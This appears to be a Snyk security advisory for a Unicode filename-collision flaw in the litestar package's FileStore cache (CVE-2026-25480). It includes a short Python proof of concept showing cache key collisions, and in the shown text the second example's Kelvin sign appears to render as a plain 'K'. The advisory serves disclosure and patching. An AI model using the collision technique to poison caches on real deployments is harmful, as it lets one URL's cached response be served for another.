Improper Handling of Unicode Encoding Affecting litestar package, versions [,2.20.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.41% (33rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-LITESTAR-15253019
  • published10 Feb 2026
  • disclosed9 Feb 2026
  • creditSirdorblu

Introduced: 9 Feb 2026

CVE-2026-25480  (opens in a new tab)
CWE-176  (opens in a new tab)

How to fix?

Upgrade litestar to version 2.20.0 or higher.

Overview

litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding via the _safe_file_name in the stores/file.py‎. An attacker can cause cached responses for one URL to be served to requests for a different URL by sending specially crafted paths that exploit key collisions.

PoC

import asyncio, tempfile
from litestar.stores.file import FileStore

async def main():
    d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
    store = FileStore(d, create_directories=True)
    await store.__aenter__()

    # 1) ASCII ord-collision: "-" -> 45
    await store.set("k-", b"A")
    v = await store.get("k45")
    print("k-  ->", v)
    print("k45 ->", await store.get("k45"))
    if v == b"A":
        print("VULNERABLE: 'k-' collides with 'k45'")

    # 2) NFKD collision: Kelvin sign -> K
    await store.set("K", b"B")   # U+212A
    v2 = await store.get("K")
    print("K ->", await store.get("K"))
    print("K ->", v2)
    if v2 == b"B":
        print("VULNERABLE: 'K' collides with 'K' (NFKD)")

if __name__ == "__main__":
    asyncio.run(main())

CVSS Base Scores

version 4.0
version 3.1